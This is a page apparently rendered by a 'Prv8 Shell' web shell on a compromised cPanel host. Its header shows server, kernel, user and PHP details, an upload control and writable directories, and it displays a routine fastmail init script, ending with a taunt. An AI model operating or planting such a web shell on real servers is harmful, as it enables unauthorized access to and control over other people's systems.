Prv8 Shell
Server : Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4
System : Linux server.jackjohnson.com 2.6.32-279.5.2.el6.x86_64 #1 SMP Fri Aug 24 01:07:11 UTC 2012 x86_64
User : jackjohn ( 502)
PHP Version : 5.3.17
Disable Function : NONE
Directory :  /etc/init.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //etc/init.d/fastmail
#! /bin/sh
#
# fastmail       Start Fast Mail
#
# Author:       cPanel, Inc. <copyright@cpanel.net>
#
# chkconfig: 345 05 10
# description: This is the fastmail service

# Source function library.
if [ -f /etc/init.d/functions ]; then
  . /etc/init.d/functions
elif [ -f /etc/rc.d/init.d/functions ]; then
  . /etc/rc.d/init.d/functions
else
  echo "Could not find functions file, your system may be broken"
  exit 1
fi

[ -f /usr/local/cpanel/scripts/fastmail ] || exit 0

LANG=C
RETVAL=0

# See how we were called.
case "$1" in
  start)
	umask 0022
        echo -n "Starting fastmail: "
        daemon /usr/local/cpanel/scripts/fastmail --auto
        echo
	;;
  stop)
	action "fastmail cannot be stopped: " echo
	;;
  status)
	status init
	;;
  restart)
  	$0 stop
	$0 start
	;;
  *)
	echo "Usage: $0 {start|stop|status|restart}"
	exit 1
esac

exit

haha - 2025